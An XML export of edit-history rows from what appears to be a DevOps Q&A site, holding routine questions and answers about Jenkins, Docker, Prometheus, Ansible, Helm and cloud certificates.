  <row Id="38080" PostHistoryTypeId="24" PostId="12211" RevisionGUID="4bdd1a11-56cf-4996-8830-974464c73158" CreationDate="2020-09-14T09:28:44.837" Comment="Proposed by 23904 approved by 354, 707 edit id of 1274" ContentLicense="CC BY-SA 4.0" />
  <row Id="38081" PostHistoryTypeId="5" PostId="12209" RevisionGUID="c179c2d0-f1be-432b-b8bd-6dce31bdf317" CreationDate="2020-09-14T09:28:48.930" UserId="23904" Comment="improved formatting" Text="I am failing to pull images from a private gcr repo through helm jenkins on a private k8s repo. I am getting: &#xD;&#xA;&#xD;&#xA;&gt; rpc error: code = Unknown desc = Error response from daemon: unauthorized: You don't have the needed permissions to perform this operation, and you may have invalid credentials. To authenticate your request, follow the steps in: https://cloud.google.com/container-registry/docs/advanced-authentication. &#xD;&#xA;&#xD;&#xA;Is there anyway I can mitigate this error without specifically specifying credentials on pipeline level?&#xD;&#xA;&#xD;&#xA;Pulling image from host work and creating a deployment in K8s is pulling successfully, but when pulled within Jenkins it doesn't work." ContentLicense="CC BY-SA 4.0" />
  <row Id="38082" PostHistoryTypeId="24" PostId="12209" RevisionGUID="c179c2d0-f1be-432b-b8bd-6dce31bdf317" CreationDate="2020-09-14T09:28:48.930" Comment="Proposed by 23904 approved by 354, 707 edit id of 1273" ContentLicense="CC BY-SA 4.0" />
  <row Id="38083" PostHistoryTypeId="2" PostId="12404" RevisionGUID="712a429f-a8e3-4a4f-b86e-6f7c02f94f6d" CreationDate="2020-09-14T10:11:55.077" UserId="4998" Text="Spring boot reports two statistics when prometheus in place.&#xD;&#xA;&#xD;&#xA;    # HELP system_cpu_usage The &quot;recent cpu usage&quot; for the whole system&#xD;&#xA;    # TYPE system_cpu_usage gauge&#xD;&#xA;    system_cpu_usage 0.029126213592233007&#xD;&#xA;    &#xD;&#xA;    # HELP process_cpu_usage The &quot;recent cpu usage&quot; for the Java Virtual Machine process&#xD;&#xA;    # TYPE process_cpu_usage gauge&#xD;&#xA;    process_cpu_usage 0.0&#xD;&#xA;&#xD;&#xA;What is the difference between system_cpu_usage  and process_cpu_usage  ?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38084" PostHistoryTypeId="1" PostId="12404" RevisionGUID="712a429f-a8e3-4a4f-b86e-6f7c02f94f6d" CreationDate="2020-09-14T10:11:55.077" UserId="4998" Text="Spring boot prometheus - difference between system_cpu_usage and process_cpu_usage" ContentLicense="CC BY-SA 4.0" />
  <row Id="38085" PostHistoryTypeId="3" PostId="12404" RevisionGUID="712a429f-a8e3-4a4f-b86e-6f7c02f94f6d" CreationDate="2020-09-14T10:11:55.077" UserId="4998" Text="&lt;prometheus&gt;&lt;spring-boot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38086" PostHistoryTypeId="2" PostId="12405" RevisionGUID="6f1da0f4-8717-43e7-a433-2a1f68932896" CreationDate="2020-09-14T10:13:36.133" UserId="4998" Text="As per the documentation of docker.&#xD;&#xA;We can get CPU usage of docker container with **docker stats** command.&#xD;&#xA;The column CPU % will give the percentage of the host’s CPU the container is using.&#xD;&#xA;&#xD;&#xA;Let say I limit the container to use 50% of hosts single CPU. I can specify 50% single CPU core limit by --cpus=0.5 option as per https://docs.docker.com/config/containers/resource_constraints/  &#xD;&#xA;&#xD;&#xA;How can we get the CPU% usage of container out of allowed CPU core by any docker command?&#xD;&#xA;E.g. Out of 50% Single CPU core, 99% is used.   &#xD;&#xA;&#xD;&#xA;Is there any way to get it with cadvisor or prometheus?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38087" PostHistoryTypeId="1" PostId="12405" RevisionGUID="6f1da0f4-8717-43e7-a433-2a1f68932896" CreationDate="2020-09-14T10:13:36.133" UserId="4998" Text="Docker Container CPU usage Monitoring" ContentLicense="CC BY-SA 4.0" />
  <row Id="38088" PostHistoryTypeId="3" PostId="12405" RevisionGUID="6f1da0f4-8717-43e7-a433-2a1f68932896" CreationDate="2020-09-14T10:13:36.133" UserId="4998" Text="&lt;docker&gt;&lt;monitoring&gt;&lt;prometheus&gt;&lt;performance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38089" PostHistoryTypeId="5" PostId="5145" RevisionGUID="722ac5db-a6a0-47a7-8c0c-874bae7a21a1" CreationDate="2020-09-14T11:53:54.260" UserId="23938" Comment="corrected nomenclature and added links to specification" Text="There's a [`resolveScm` step](https://www.jenkins.io/doc/pipeline/steps/workflow-multibranch/#resolvescm-resolves-an-scm-from-an-scm-source-and-a-list-of-candidate-target-branch-names) implemented by the [Pipeline: Multibranch plugin](https://www.jenkins.io/doc/pipeline/steps/workflow-multibranch/): &#xD;&#xA;&#xD;&#xA;    checkout resolveScm(source: [$class: 'GitSCMSource',&#xD;&#xA;                                 credentialsId: '&lt;credentialsId&gt;',&#xD;&#xA;                                 id: '_',&#xD;&#xA;                                 remote: 'https://your.git.remote/repository.git',&#xD;&#xA;                                 traits: [[$class: 'jenkins.plugins.git.traits.BranchDiscoveryTrait']]],&#xD;&#xA;                        targets: [BRANCH_NAME, 'master'])&#xD;&#xA;&#xD;&#xA;Above procedure will look whether `$BRANCH_NAME` exists, check it out if yes and check out `master` otherwise." ContentLicense="CC BY-SA 4.0" />
  <row Id="38090" PostHistoryTypeId="24" PostId="5145" RevisionGUID="722ac5db-a6a0-47a7-8c0c-874bae7a21a1" CreationDate="2020-09-14T11:53:54.260" Comment="Proposed by 23938 approved by 40 edit id of 1276" ContentLicense="CC BY-SA 4.0" />
  <row Id="38091" PostHistoryTypeId="6" PostId="12392" RevisionGUID="c528eee5-7b69-4ab8-92da-28c3e14853dd" CreationDate="2020-09-14T11:54:00.567" UserId="7953" Comment="add a new tag." Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38092" PostHistoryTypeId="24" PostId="12392" RevisionGUID="c528eee5-7b69-4ab8-92da-28c3e14853dd" CreationDate="2020-09-14T11:54:00.567" Comment="Proposed by 7953 approved by 354, 40 edit id of 1275" ContentLicense="CC BY-SA 4.0" />
  <row Id="38096" PostHistoryTypeId="2" PostId="12407" RevisionGUID="2b705e7a-a171-447b-99a8-dbe86469ffc1" CreationDate="2020-09-14T14:20:26.283" UserId="23941" Text="I am using AWS ACMPCA to create a private CA to generate ssl certs for use in my private subnet. The certs that are created are self-signed by default. But now things like curl and python's request library throw an error because the cert can't be verified because it is self-signed. Is this the intended behavior or not? It seems anti pattern to me if I have to pass `--insecure` in a curl request, or modify application code to disable verification. But then I can't find any docs on non self-signed certs from a private CA. What is the intended use case? Is it overkill to use https in a private subnet anyways?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38097" PostHistoryTypeId="1" PostId="12407" RevisionGUID="2b705e7a-a171-447b-99a8-dbe86469ffc1" CreationDate="2020-09-14T14:20:26.283" UserId="23941" Text="Am I supposed to use self-signed certs if I am using a private CA in a private network?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38098" PostHistoryTypeId="3" PostId="12407" RevisionGUID="2b705e7a-a171-447b-99a8-dbe86469ffc1" CreationDate="2020-09-14T14:20:26.283" UserId="23941" Text="&lt;amazon-web-services&gt;&lt;ssl&gt;&lt;encryption&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38103" PostHistoryTypeId="5" PostId="12403" RevisionGUID="40d97f89-6b11-4e01-9a51-3932b99fb7bc" CreationDate="2020-09-14T16:58:03.463" UserId="23443" Comment="added 63 characters in body" Text="From [thirty-thousand-feet][1], how would I [use][2] an existing `ansible` playbook in the [context][3] of `Asterisk` using `Kubernetes`?&#xD;&#xA;&#xD;&#xA;Or, coming at this in a [step-wise][4] fashion, what's the smallest indivisible portion to start for a bottom-up `DevOps` approach?  Concretely:  start with `ansible` or `kubernetes`?&#xD;&#xA;&#xD;&#xA;I'm also [looking][5] at `Kamailio` for down the road, and this isn't unrelated to [configuration][6] for `Asterisk`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://english.stackexchange.com/q/546649/395317&#xD;&#xA;  [2]: https://webrtc.ventures/2019/11/using-ansible-to-run-your-webrtc-asterisk-based-application/&#xD;&#xA;  [3]: https://astricon2018.sched.com/event/Fml2/automating-asterisk-on-kubernetes-openshift-okd-session-2-ansible-playbooks-bundles&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Top-down_and_bottom-up_design&#xD;&#xA;  [5]: https://nickvsnetworking.com/kamailio-bytes-ansible-for-automating-deployments/&#xD;&#xA;  [6]: https://devops.stackexchange.com/q/12402/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="38104" PostHistoryTypeId="2" PostId="12409" RevisionGUID="31661120-e008-4b39-9dcb-862f6b793a59" CreationDate="2020-09-15T06:43:18.840" UserId="23443" Text="How do I get the `ansible` config for `rolly` below?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;remote:&#xD;&#xA;&#xD;&#xA;    [nsaunders@rolly ~]$ &#xD;&#xA;    [nsaunders@rolly ~]$ lsb_release -a&#xD;&#xA;    LSB Version:	:core-4.1-amd64:core-4.1-noarch&#xD;&#xA;    Distributor ID:	CentOS&#xD;&#xA;    Description:	CentOS Linux release 8.2.2004 (Core) &#xD;&#xA;    Release:	8.2.2004&#xD;&#xA;    Codename:	Core&#xD;&#xA;    [nsaunders@rolly ~]$ &#xD;&#xA;    [nsaunders@rolly ~]$ ansible --version&#xD;&#xA;    ansible 2.9.13&#xD;&#xA;      config file = /etc/ansible/ansible.cfg&#xD;&#xA;      configured module search path = ['/home/nsaunders/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&#xD;&#xA;      ansible python module location = /usr/lib/python3.6/site-packages/ansible&#xD;&#xA;      executable location = /usr/bin/ansible&#xD;&#xA;      python version = 3.6.8 (default, Apr 16 2020, 01:36:27) [GCC 8.3.1 20191121 (Red Hat 8.3.1-5)]&#xD;&#xA;    [nsaunders@rolly ~]$ &#xD;&#xA;    [nsaunders@rolly ~]$ show config&#xD;&#xA;    bash: show: command not found...&#xD;&#xA;    [nsaunders@rolly ~]$ &#xD;&#xA;    [nsaunders@rolly ~]$ ansible show config&#xD;&#xA;    usage: ansible [-h] [--version] [-v] [-b] [--become-method BECOME_METHOD]&#xD;&#xA;                   [--become-user BECOME_USER] [-K] [-i INVENTORY] [--list-hosts]&#xD;&#xA;                   [-l SUBSET] [-P POLL_INTERVAL] [-B SECONDS] [-o] [-t TREE] [-k]&#xD;&#xA;                   [--private-key PRIVATE_KEY_FILE] [-u REMOTE_USER]&#xD;&#xA;                   [-c CONNECTION] [-T TIMEOUT]&#xD;&#xA;                   [--ssh-common-args SSH_COMMON_ARGS]&#xD;&#xA;                   [--sftp-extra-args SFTP_EXTRA_ARGS]&#xD;&#xA;                   [--scp-extra-args SCP_EXTRA_ARGS]&#xD;&#xA;                   [--ssh-extra-args SSH_EXTRA_ARGS] [-C] [--syntax-check] [-D]&#xD;&#xA;                   [-e EXTRA_VARS] [--vault-id VAULT_IDS]&#xD;&#xA;                   [--ask-vault-pass | --vault-password-file VAULT_PASSWORD_FILES]&#xD;&#xA;                   [-f FORKS] [-M MODULE_PATH] [--playbook-dir BASEDIR]&#xD;&#xA;                   [-a MODULE_ARGS] [-m MODULE_NAME]&#xD;&#xA;                   pattern&#xD;&#xA;    ansible: error: unrecognized arguments: config&#xD;&#xA;    [nsaunders@rolly ~]$ &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;local:&#xD;&#xA;    &#xD;&#xA;        &#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ lsb_release -a&#xD;&#xA;    No LSB modules are available.&#xD;&#xA;    Distributor ID:	Ubuntu&#xD;&#xA;    Description:	Ubuntu 20.04 LTS&#xD;&#xA;    Release:	20.04&#xD;&#xA;    Codename:	focal&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ cat first_playbook.yml &#xD;&#xA;    ---&#xD;&#xA;    &#xD;&#xA;    - name: Network Getting Started First Playbook&#xD;&#xA;      connection: network_cli&#xD;&#xA;      gather_facts: false&#xD;&#xA;      hosts: all&#xD;&#xA;      tasks:&#xD;&#xA;    &#xD;&#xA;        - name: Get config for VyOS devices&#xD;&#xA;          vyos_facts:&#xD;&#xA;            gather_subset: all&#xD;&#xA;    &#xD;&#xA;        - name: Display the config&#xD;&#xA;          debug:&#xD;&#xA;            msg: &quot;The hostname is {{ ansible_net_hostname }} and the OS is {{ ansible_net_version }}&quot;&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ yamllint first_playbook.yml &#xD;&#xA;    first_playbook.yml&#xD;&#xA;      15:81     error    line too long (97 &gt; 80 characters)  (line-length)&#xD;&#xA;    &#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ ansible all -i rolly.foo, -c network_cli -u nsaunders -k -m centos_facts -e ansible_network_os=centos&#xD;&#xA;    SSH password: &#xD;&#xA;    rolly.foo | FAILED! =&gt; {&#xD;&#xA;        &quot;msg&quot;: &quot;network os centos is not supported&quot;&#xD;&#xA;    }&#xD;&#xA;    nicholas $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;referencing:&#xD;&#xA;&#xD;&#xA;https://www.ansible.com/blog/getting-started-writing-your-first-playbook&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38105" PostHistoryTypeId="1" PostId="12409" RevisionGUID="31661120-e008-4b39-9dcb-862f6b793a59" CreationDate="2020-09-15T06:43:18.840" UserId="23443" Text="How to run your first network ansible command?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38106" PostHistoryTypeId="3" PostId="12409" RevisionGUID="31661120-e008-4b39-9dcb-862f6b793a59" CreationDate="2020-09-15T06:43:18.840" UserId="23443" Text="&lt;ansible&gt;&lt;yaml&gt;&lt;centos&gt;&lt;ssh&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38107" PostHistoryTypeId="4" PostId="12409" RevisionGUID="405c58f7-a73b-4dc7-8c6b-08184d41c092" CreationDate="2020-09-15T06:49:32.233" UserId="23443" Comment="edited title" Text="first network ansible command error: &quot;msg&quot;: &quot;network os centos is not supported&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38108" PostHistoryTypeId="4" PostId="12409" RevisionGUID="1aa294aa-be61-4576-9303-94191e21b3d1" CreationDate="2020-09-15T06:54:54.513" UserId="23443" Comment="edited title" Text="network ansible command error: &quot;msg&quot;: &quot;network os centos is not supported&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38109" PostHistoryTypeId="2" PostId="12410" RevisionGUID="66893ee7-3b28-4875-8d29-4ad7ecb78d02" CreationDate="2020-09-15T06:58:21.797" UserId="23443" Text="&#xD;&#xA;&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ cat ansible.cfg &#xD;&#xA;    [defaults]&#xD;&#xA;    inventory = hosts&#xD;&#xA;    ask_vault_pass = True&#xD;&#xA;    &#xD;&#xA;    [privilege_escalation]&#xD;&#xA;    become_ask_pass = True&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ sudo ansible-playbook first_playbook.yml --connection=local&#xD;&#xA;    BECOME password: &#xD;&#xA;    Vault password: &#xD;&#xA;    [WARNING]: Unable to parse /home/nicholas/ansible/hosts as an inventory source&#xD;&#xA;    [WARNING]: No inventory was parsed, only implicit localhost is available&#xD;&#xA;    [WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'&#xD;&#xA;    &#xD;&#xA;    PLAY [Network Getting Started First Playbook] **************************************************************************************&#xD;&#xA;    skipping: no hosts matched&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP *************************************************************************************************************************&#xD;&#xA;    &#xD;&#xA;    nicholas $ &#xD;&#xA;&#xD;&#xA;As a [workaround to using][1] a remote, although it requires some additional configuration apparently.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/4365/23443&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38110" PostHistoryTypeId="2" PostId="12411" RevisionGUID="caf43309-f056-4c2b-8649-e80eb139527c" CreationDate="2020-09-15T08:31:28.670" UserId="23443" Text="I've tried a few [variations][1] on running `ansible` locally as a test case:&#xD;&#xA;&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ ls&#xD;&#xA;    ansible.cfg  ansible.cfg.orig  first_playbook.yml  inventory.txt  playbook.yml&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ cat ansible.cfg&#xD;&#xA;    [defaults]&#xD;&#xA;    transport = local&#xD;&#xA;    &#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ cat playbook.yml &#xD;&#xA;    ---&#xD;&#xA;    &#xD;&#xA;    - name: Network Getting Started First Playbook&#xD;&#xA;      connection: network_cli&#xD;&#xA;      gather_facts: false&#xD;&#xA;      hosts: all&#xD;&#xA;      tasks:&#xD;&#xA;    &#xD;&#xA;        - name: Get config for VyOS devices&#xD;&#xA;          vyos_facts:&#xD;&#xA;            gather_subset: all&#xD;&#xA;    &#xD;&#xA;        - name: Display the config&#xD;&#xA;          debug:&#xD;&#xA;            msg: &quot;The hostname is {{ ansible_net_hostname }} and the OS is {{ ansible_net_version }}&quot;&#xD;&#xA;    &#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ ansible --version&#xD;&#xA;    ansible 2.9.6&#xD;&#xA;      config file = /home/nicholas/ansible/ansible.cfg&#xD;&#xA;      configured module search path = ['/home/nicholas/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&#xD;&#xA;      ansible python module location = /usr/lib/python3/dist-packages/ansible&#xD;&#xA;      executable location = /usr/bin/ansible&#xD;&#xA;      python version = 3.8.2 (default, Jul 16 2020, 14:00:26) [GCC 9.3.0]&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ lsb_release -a&#xD;&#xA;    No LSB modules are available.&#xD;&#xA;    Distributor ID:	Ubuntu&#xD;&#xA;    Description:	Ubuntu 20.04 LTS&#xD;&#xA;    Release:	20.04&#xD;&#xA;    Codename:	focal&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ ansible-playbook --connection=local  playbook.yml&#xD;&#xA;    [WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'&#xD;&#xA;    &#xD;&#xA;    PLAY [Network Getting Started First Playbook] **************************************************************************************&#xD;&#xA;    skipping: no hosts matched&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP *************************************************************************************************************************&#xD;&#xA;    &#xD;&#xA;    nicholas $ &#xD;&#xA;&#xD;&#xA;perhaps I need an additional configuration for the localhost loopback?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/alces/caa3e7e5f46f9595f715f0f55eef65c1" ContentLicense="CC BY-SA 4.0" />
  <row Id="38111" PostHistoryTypeId="1" PostId="12411" RevisionGUID="caf43309-f056-4c2b-8649-e80eb139527c" CreationDate="2020-09-15T08:31:28.670" UserId="23443" Text="ansible error: skipping: no hosts matched" ContentLicense="CC BY-SA 4.0" />
  <row Id="38112" PostHistoryTypeId="3" PostId="12411" RevisionGUID="caf43309-f056-4c2b-8649-e80eb139527c" CreationDate="2020-09-15T08:31:28.670" UserId="23443" Text="&lt;ansible&gt;&lt;yaml&gt;&lt;orchestration&gt;&lt;ansible-inventory&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38113" PostHistoryTypeId="5" PostId="12411" RevisionGUID="c7cf36ac-04b3-445d-8194-834e605422e0" CreationDate="2020-09-15T08:51:22.097" UserId="23443" Comment="added 322 characters in body" Text="I've tried a few [variations][1] on running `ansible` locally as a test case:&#xD;&#xA;&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ ls&#xD;&#xA;    ansible.cfg  ansible.cfg.orig  first_playbook.yml  inventory.txt  playbook.yml&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ cat ansible.cfg&#xD;&#xA;    [defaults]&#xD;&#xA;    transport = local&#xD;&#xA;    &#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ cat playbook.yml &#xD;&#xA;    ---&#xD;&#xA;    &#xD;&#xA;    - name: Network Getting Started First Playbook&#xD;&#xA;      connection: network_cli&#xD;&#xA;      gather_facts: false&#xD;&#xA;      hosts: all&#xD;&#xA;      tasks:&#xD;&#xA;    &#xD;&#xA;        - name: Get config for VyOS devices&#xD;&#xA;          vyos_facts:&#xD;&#xA;            gather_subset: all&#xD;&#xA;    &#xD;&#xA;        - name: Display the config&#xD;&#xA;          debug:&#xD;&#xA;            msg: &quot;The hostname is {{ ansible_net_hostname }} and the OS is {{ ansible_net_version }}&quot;&#xD;&#xA;    &#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ ansible --version&#xD;&#xA;    ansible 2.9.6&#xD;&#xA;      config file = /home/nicholas/ansible/ansible.cfg&#xD;&#xA;      configured module search path = ['/home/nicholas/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&#xD;&#xA;      ansible python module location = /usr/lib/python3/dist-packages/ansible&#xD;&#xA;      executable location = /usr/bin/ansible&#xD;&#xA;      python version = 3.8.2 (default, Jul 16 2020, 14:00:26) [GCC 9.3.0]&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ lsb_release -a&#xD;&#xA;    No LSB modules are available.&#xD;&#xA;    Distributor ID:	Ubuntu&#xD;&#xA;    Description:	Ubuntu 20.04 LTS&#xD;&#xA;    Release:	20.04&#xD;&#xA;    Codename:	focal&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ ansible-playbook --connection=local  playbook.yml&#xD;&#xA;    [WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'&#xD;&#xA;    &#xD;&#xA;    PLAY [Network Getting Started First Playbook] **************************************************************************************&#xD;&#xA;    skipping: no hosts matched&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP *************************************************************************************************************************&#xD;&#xA;    &#xD;&#xA;    nicholas $ &#xD;&#xA;&#xD;&#xA;perhaps I need an additional configuration for the localhost loopback?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Although I *can* ping localhost as:&#xD;&#xA;&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ ansible localhost -m ping -u root&#xD;&#xA;    127.0.0.1 | SUCCESS =&gt; {&#xD;&#xA;        &quot;ansible_facts&quot;: {&#xD;&#xA;            &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python3&quot;&#xD;&#xA;        },&#xD;&#xA;        &quot;changed&quot;: false,&#xD;&#xA;        &quot;ping&quot;: &quot;pong&quot;&#xD;&#xA;    }&#xD;&#xA;    nicholas $ &#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/alces/caa3e7e5f46f9595f715f0f55eef65c1&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38114" PostHistoryTypeId="50" PostId="8686" RevisionGUID="1bd1dd6f-47e7-48c4-9ecb-8c893cce93f9" CreationDate="2020-09-15T10:05:15.500" UserId="-1" />
  <row Id="38116" PostHistoryTypeId="50" PostId="9145" RevisionGUID="b4dd956f-81ad-4383-a9ce-2bc986019304" CreationDate="2020-09-15T12:07:45.897" UserId="-1" />
  <row Id="38117" PostHistoryTypeId="2" PostId="12413" RevisionGUID="11d98ea4-4a54-4064-b24c-c57c2c975421" CreationDate="2020-09-15T12:34:51.803" UserId="23955" Text="I have a helm chart which pulls a lot of images from various registries and deploys a lot of pods. It runs a lot of k8s jobs before getting the pods up.&#xD;&#xA;&#xD;&#xA;Overall, helm install command takes huge time, so usually my helm install will also have --timeout 3600.&#xD;&#xA;&#xD;&#xA;Like: helm install --name will also have --timeout 3600&#xD;&#xA;&#xD;&#xA;Can I embed this --timeout 1800 to the helm chat itself? (rather than providing a command line parameter)" ContentLicense="CC BY-SA 4.0" />
  <row Id="38118" PostHistoryTypeId="1" PostId="12413" RevisionGUID="11d98ea4-4a54-4064-b24c-c57c2c975421" CreationDate="2020-09-15T12:34:51.803" UserId="23955" Text="How to add timeout to a helm chart?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38119" PostHistoryTypeId="3" PostId="12413" RevisionGUID="11d98ea4-4a54-4064-b24c-c57c2c975421" CreationDate="2020-09-15T12:34:51.803" UserId="23955" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;helm&gt;&lt;artifactory&gt;&lt;kubernetes-helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38121" PostHistoryTypeId="2" PostId="12414" RevisionGUID="9c393f1c-1986-4b85-880e-9f6bd4868a99" CreationDate="2020-09-15T13:35:26.147" UserId="23898" Text="This error is due to invalid value of `ansible_network_os:`  &#xD;&#xA;&#xD;&#xA;The playbook you try setup is meant for network devices.  &#xD;&#xA;And since centos is not a network device OS the playbook will fail.  &#xD;&#xA;Here you can find supported network OS.  &#xD;&#xA;[Ansible Documentation: ansible_network_os values][1]  &#xD;&#xA;&#xD;&#xA;If you don't have any device running a supported network OS I recommend you to follow the regular user guide.  &#xD;&#xA;[Ansible User Guide][2]  &#xD;&#xA;&#xD;&#xA;My suggestion is to setup a easy playbook that will run on the environment you have.  &#xD;&#xA;Get the understanding of following concepts.  &#xD;&#xA;`Control node`  &#xD;&#xA;`Managed nodes`  &#xD;&#xA;`Inventory`  &#xD;&#xA;`Modules`  &#xD;&#xA;`Tasks`  &#xD;&#xA;`Playbooks`  &#xD;&#xA;&#xD;&#xA;Here is a short example.  &#xD;&#xA;This will only execute `hostname` do confirm it execute on expected host.  &#xD;&#xA;Let's say `nicholas` is your control node and `rolly` is the managed node.  &#xD;&#xA;&#xD;&#xA;On `nicholas`:  &#xD;&#xA;Create a inventory as before with your control node and managed node.  &#xD;&#xA;inventory.txt:  &#xD;&#xA;```yaml&#xD;&#xA;[local]&#xD;&#xA;localhost ansible_connection=local&#xD;&#xA;&#xD;&#xA;[managed_node]&#xD;&#xA;rolly ansible_host=&lt;rolly ip&gt; ansible_user=&lt;rolly user&gt; ansible_ssh_pass=&lt;rolly user password&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;myplaybook.yml:  &#xD;&#xA;```yaml&#xD;&#xA;---&#xD;&#xA;- name: This will get hostname localy on control node&#xD;&#xA;  hosts: localhost&#xD;&#xA;  tasks:&#xD;&#xA;    - name: get hostname&#xD;&#xA;      command: hostname&#xD;&#xA;      register: result&#xD;&#xA;&#xD;&#xA;    - name: print hostname&#xD;&#xA;      debug:&#xD;&#xA;          var: result&#xD;&#xA;&#xD;&#xA;- name: This will get hostname remote on manged node&#xD;&#xA;  hosts: rolly&#xD;&#xA;  tasks:&#xD;&#xA;    - name: get hostname&#xD;&#xA;      command: hostname&#xD;&#xA;      register: result&#xD;&#xA;&#xD;&#xA;    - name: print hostname&#xD;&#xA;      debug:&#xD;&#xA;          var: result&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And then execute on the control node:  &#xD;&#xA;`ansible-playbook -i inventory.txt myplaybook.yml`&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/network/user_guide/platform_index.html#settings-by-platform&#xD;&#xA;  [2]: https://docs.ansible.com/ansible/latest/user_guide/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="38122" PostHistoryTypeId="2" PostId="12415" RevisionGUID="e237566a-1fcc-4840-a8c7-02cd06421c1f" CreationDate="2020-09-15T14:01:50.343" UserId="6258" Text="Since the timeout is a Helm option and not a Kubernetes object attribute, it can't be embedded in the chart itself.&#xD;&#xA;&#xD;&#xA;The `--timeout` option is the amount of time the Helm utility will wait for Kubernetes commands to complete before marking the release as FAILED.&#xD;&#xA;&#xD;&#xA;[More Info on Helm CLI options][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://helm.sh/docs/intro/using_helm/#helpful-options-for-installupgraderollback" ContentLicense="CC BY-SA 4.0" />
  <row Id="38123" PostHistoryTypeId="2" PostId="12416" RevisionGUID="64bc01df-10ec-4fdb-8966-175acbab91f9" CreationDate="2020-09-15T15:05:45.640" UserId="23959" Text="This lab from AWS Well-Architected will show you how to implement an AWS AZ failure simulation using Bash, Java, Python, C#, or PowerShell&#xD;&#xA;&#xD;&#xA;https://wellarchitectedlabs.com/reliability/300_labs/300_testing_for_resiliency_of_ec2_rds_and_s3/" ContentLicense="CC BY-SA 4.0" />
  <row Id="38124" PostHistoryTypeId="2" PostId="12417" RevisionGUID="9716fda7-d683-4c57-8196-13cc03315fa0" CreationDate="2020-09-15T15:45:15.487" UserId="23960" Text="In the openshift/OKD latest (4.5) documentation for Azure and AWS, they state that you need a public DNS domain registered on that cloud platform before you install the cluster. Can this be a one off domain that you redirect to with a CNAME for your primary domain service? Or are you required to have your primary domain registered with one of the cloud providers? How would that work with multi-cloud?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38125" PostHistoryTypeId="1" PostId="12417" RevisionGUID="9716fda7-d683-4c57-8196-13cc03315fa0" CreationDate="2020-09-15T15:45:15.487" UserId="23960" Text="OKD/OpenShift on Azure public DNS requirements" ContentLicense="CC BY-SA 4.0" />
  <row Id="38126" PostHistoryTypeId="3" PostId="12417" RevisionGUID="9716fda7-d683-4c57-8196-13cc03315fa0" CreationDate="2020-09-15T15:45:15.487" UserId="23960" Text="&lt;azure&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
